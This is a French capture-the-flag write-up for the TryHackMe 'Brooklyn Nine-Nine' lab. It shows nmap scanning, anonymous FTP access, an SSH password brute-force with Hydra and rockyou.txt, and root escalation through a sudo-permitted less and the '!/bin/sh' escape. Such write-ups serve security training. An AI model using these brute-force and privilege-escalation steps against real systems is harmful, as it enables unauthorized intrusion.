Contenu

Write-up : TryHackMe - Brooklyn Nine-Nine

Write-up : TryHackMe - Brooklyn Nine-Nine

Informations sur la Room

Introduction

Ce challenge nous plonge dans l’univers de la série Brooklyn 99. Notre mission est de compromettre le serveur utilisé par l’équipe et de récupérer les flags utilisateur et root, en exploitant probablement quelques faiblesses laissées par nos personnages préférés.

Phase 1 : Reconnaissance & Énumération

1. Scan des Ports (Nmap)

Comme toujours, commençons par un scan Nmap pour identifier les services exposés sur la machine cible.

nmap -sC -sV <IP_SERVEUR>
# -sC: Utilise les scripts Nmap par défaut
# -sV: Tente de déterminer la version des services

/images/nmap1.png

Résultats Clés du Scan Nmap

Le scan révèle trois ports ouverts principaux :

  • Port 21 (FTP) : vsftpd - Permet la connexion anonyme (Anonymous FTP login allowed). C’est une piste prioritaire !
  • Port 22 (SSH) : OpenSSH
  • Port 80 (HTTP) : Apache

2. Exploration FTP

La possibilité de connexion anonyme sur le FTP est une piste intéressante. Connectons-nous :

ftp -p <IP_SERVEUR> <PORT>
# Nom : Anonymous
# Mot de passe : <laisser vide>

Une fois connecté, on liste les fichiers et on trouve la note : note_to_jake.txt. Téléchargeons-la (get note_to_jake.txt) et examinons son contenu (cat note_to_jake.txt).

/images/ftp2.png

Indice Crucial de la Note FTP
La note mentionne que Jake a un mot de passe très faible. (ça lui ressemble bien) C’est une information capitale pour la suite !

3. Exploration Web (HTTP)

Avant de tenter le brute-force, jetons un œil au serveur web sur le port 80. La page d’accueil par défaut d’Apache ne révèle rien d’immédiat. Utilisons feroxbuster (ou gobuster/dirb) pour chercher des répertoires ou fichiers cachés.

feroxbuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<IP_SERVEUR>/
# -w : Spécifie la wordlist
# -u : L'URL cible

Malgré l’énumération web, aucun répertoire ou fichier intéressant n’a été découvert lors de cette étape.

Phase 2 : Exploitation - Accès Initial (User Flag)

Brute-force SSH avec Hydra

Forts de l’indice trouvé dans la note FTP (“mot de passe très simple” pour l’utilisateur “jake”), nous allons tenter une attaque par brute-force sur le service SSH (port 22) en utilisant Hydra. Nous utiliserons rockyou.txt, une wordlist très commune, en espérant y trouver le mot de passe faible.

hydra -l jake -P /usr/share/wordlists/rockyou.txt ssh://<IP_SERVEUR>/ -f
# -l jake : Spécifie le nom d'utilisateur cible
# -P /usr/share/wordlists/rockyou.txt : Spécifie le fichier de mots de passe
# ssh://<IP_SERVEUR>/ : Spécifie le service et l'hôte cible
# -f : Arrête Hydra dès qu'un mot de passe valide est trouvé

/images/hydra3.png

Succès ! Hydra trouve rapidement le mot de passe : 987654321.

Connexion SSH et Flag Utilisateur

Connectons-nous maintenant en SSH avec les identifiants trouvés :

ssh jake@<IP_SERVEUR>
# Entrer le mot de passe : 987654321

Une fois connecté, nous cherchons le flag utilisateur (user.txt). Après un peu d’exploration (ou en suivant les conventions habituelles), on le trouve dans le répertoire /home/holt. Clin d’œil amusant à la série !

ls /home/holt/
cat /home/holt/user.txt

/images/ssh4.png

Flag Utilisateur Obtenu !


Phase 3 : Élévation de Privilèges (Root Flag)

Vérification des Privilèges Sudo

Maintenant que nous avons un accès en tant que jake, cherchons comment devenir root. Une des premières commandes à vérifier est sudo -l, qui liste les commandes que l’utilisateur actuel peut exécuter avec sudo.

sudo -l
Résultat Sudo - Porte Ouverte !

La sortie indique que l’utilisateur jake peut exécuter la commande /usr/bin/less en tant que root sans mot de passe (NOPASSWD). C’est une faille de configuration classique !

User jake may run the following commands on :
    (ALL : ALL) NOPASSWD: /usr/bin/less

Exploitation via less (GTFOBins)

Certains binaires Linux, même ceux qui semblent inoffensifs comme less (un paginateur de texte), peuvent être détournés pour obtenir un shell s’ils sont exécutés avec des privilèges élevés. Le site GTFOBins est une ressource fantastique pour trouver de telles techniques.

En cherchant less sur GTFOBins, nous trouvons une section “Sudo”.

Technique d'Exploitation `less` (GTFOBins)

La technique est simple :

  1. Exécuter less via sudo sur n’importe quel fichier (par exemple /etc/profile).
  2. Une fois dans l’interface de less, taper !/bin/sh (ou !/bin/bash). Le ! permet d’exécuter une commande shell depuis less.

Appliquons cela :

sudo less /etc/profile

Puis, dans less, tapez :

!/bin/sh

Appuyez sur Entrée.

Accès Root et Flag Root

Nous sommes maintenant root. Il ne reste plus qu’à récupérer le flag final, généralement situé dans /root/root.txt.

# cd /root
# ls
root.txt
# cat root.txt

/images/root5.png

Flag Root Obtenu ! Challenge Terminé !

Conclusion

Ce challenge “Brooklyn Nine-Nine” était une excellente introduction aux concepts de base du CTF :

  1. Énumération : Scan de ports (Nmap), découverte de services (FTP anonyme, SSH, HTTP), énumération web (feroxbuster).
  2. Exploitation : Utilisation d’indices (note FTP) pour cibler une attaque (brute-force SSH avec Hydra).
  3. Élévation de Privilèges : Vérification des permissions sudo (sudo -l) et exploitation d’une mauvaise configuration via un binaire autorisé (exploitation de less via GTFOBins).

C’était une room amusante et bien thématisée, parfaite pour les débutants.

PS : Jake change de mdp stp